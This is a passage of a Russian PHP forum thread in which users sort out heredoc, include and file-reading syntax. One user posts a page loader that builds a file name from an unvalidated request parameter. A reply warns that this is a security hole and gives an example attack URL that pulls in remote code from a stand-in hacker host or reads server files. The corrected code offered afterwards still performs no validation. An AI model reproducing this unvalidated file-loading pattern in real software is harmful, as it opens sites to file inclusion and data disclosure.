Strict Standards: Resource ID#34 used as offset, casting to integer (34) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401

Strict Standards: Resource ID#36 used as offset, casting to integer (36) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401

Strict Standards: Resource ID#37 used as offset, casting to integer (37) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401
ТвойWeb :: Версия для печати :: Ссылки вида ?link=obomne и т д [4]
ТвойWeb » WebMaster класс » PHP/Perl » Ссылки вида ?link=obomne и т д

Страниц (5): « 1 2 3 [4] 5 »
 

31. Furax - 09 Февраля, 2008 - 01:49:10 - перейти к сообщению
Systemnik
Во втором вхождении написал EOFCONEC вместо EOFKONEC.

Идентификатор должен быть одинаковый в начале и конце вложенного документа. Какой именно - значения не имеет. Хоть HTTPTVOYWEBRUFORUMS.
32. Systemnik - 09 Февраля, 2008 - 02:49:37 - перейти к сообщению
ой спасибо тебе друг!! Подмигивание спасибо! щас проверю!

}
[работает УРА]
}


и последний вопос пусть тума отдельного топика но всеже..
подскажите а можно ли в качестве значению переменной сделать например ссылку
на html файл.. также типа вложеный докуент тока в отделном файле?? Подмигивание
33. Furax - 09 Февраля, 2008 - 03:56:10 - перейти к сообщению
Systemnik
CODE:
include('document.html');
34. Systemnik - 10 Февраля, 2008 - 01:36:30 - перейти к сообщению
Тоесть так?
CODE:
$peremennaya = include("dsds");
35. Furax - 10 Февраля, 2008 - 02:21:03 - перейти к сообщению
Systemnik
А, тебе непременно хочется загнать текст из файла в переменную? Зачем тебе это? Всё должно быть проще!
CODE:
$var=file_get_contents('filename');
36. Systemnik - 10 Февраля, 2008 - 08:11:32 - перейти к сообщению
Пон спасибо! Подмигивание
37. snowman - 20 Февраля, 2008 - 16:34:54 - перейти к сообщению
Не хоца новую тему создавать тем более что я пытался делать тоже самое.

Вобщем вот это на локальной машине вполне работает а вот на альфамуне

CODE:
<?php
include("header.htm");
include("menu.htm");

if (empty($_GET['page'])){ $page = "index"; }

$pagename = "$page.txt";
$pagec = fopen("$pagename", "r");
$bufer = fread($pagec, filesize($pagename));
fclose($pagec);
echo $bufer;

include("footer.htm");?>


на альфамуне грузит только главную страницу, когда пытаешься перейти на другие, то пишет

CODE:
Warning: fopen(.txt) [function.fopen]: failed to open stream: No such file or directory in /home/fbilib/fbilib.alfamoon.com/ars/index.php on line 8

Warning: filesize() [function.filesize]: Stat failed for .txt (errno=2 - No such file or directory) in /home/fbilib/fbilib.alfamoon.com/ars/index.php on line 9

Warning: fread(): supplied argument is not a valid stream resource in /home/fbilib/fbilib.alfamoon.com/ars/index.php on line 9

Warning: fclose(): supplied argument is not a valid stream resource in /home/fbilib/fbilib.alfamoon.com/ars/index.php on line 10


т.е. файл не открывает, не понимает имя файла, заданное через переменную.

Буду рад если кто подскажет в чем может быть причина или может вообще как-то это по другому стоит делать ?

Пытаюсь сделать хранение и вывод содержания в файлах, чтобы их потом редактировать без фтп ) Дома 3 книжки по php и одна по Perl. Но пока мало во что врубаюсь )
38. Furax - 20 Февраля, 2008 - 23:05:20 - перейти к сообщению
snowman
Просто на хосте отключена регистрация глобальных переменных. Используй везде в коде $_GET['page'] вместо $page.

Кстати, то, что ты написал - зачатки прекрасной дыры в безопасности! Если я обращусь к твоей странице вот так: http://yourSite.ru/yourPage.php?page=http://xaker.ru/badcode, то твой скрипт с готовностью вставит в код страницы (хорошо хоть не запустит на выполнение...) содержимое файла http://xaker.ru/badcode.txt. Также я могу просмотреть системные файлы на твоём серваке (конечно, лишь те, на чтение которых у меня есть права). Оно тебе надо?

Чтобы этого не было, нужно проверять, а что вообще содержится в строке, переданной в поле page.
39. snowman - 22 Февраля, 2008 - 10:37:08 - перейти к сообщению
спасибо Улыбка
до безопасности я еще доберусь.

пока надо решить более простые задачи )

я еще в синтаксис то толком не врубаюсь.

теперь точки не видит перед расширением:

CODE:
$pagename = $_GET['page'].txt;
40. Furax - 23 Февраля, 2008 - 00:02:21 - перейти к сообщению
snowman
Это потому что ты пытаешься выполнить конкатенацию строки, переданной в поле $_GET['page'], и содержимого константы txt. Надо делать так:
CODE:
$pagename = "$_GET[page].txt";
Или так:
CODE:
$pagename = $_GET['page'] . '.txt';

Форум на AlfaSpace.NET


Powered by ExBB
ExBB FM 1.0 RC1 by TvoyWeb.ru
InvisionExBB Style converted by Markus®

[Script Execution time: 0.0323]     [ Gzipped ]



Notice: ob_end_flush(): failed to send buffer of ob_gzhandler (1) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/page_tail.php on line 33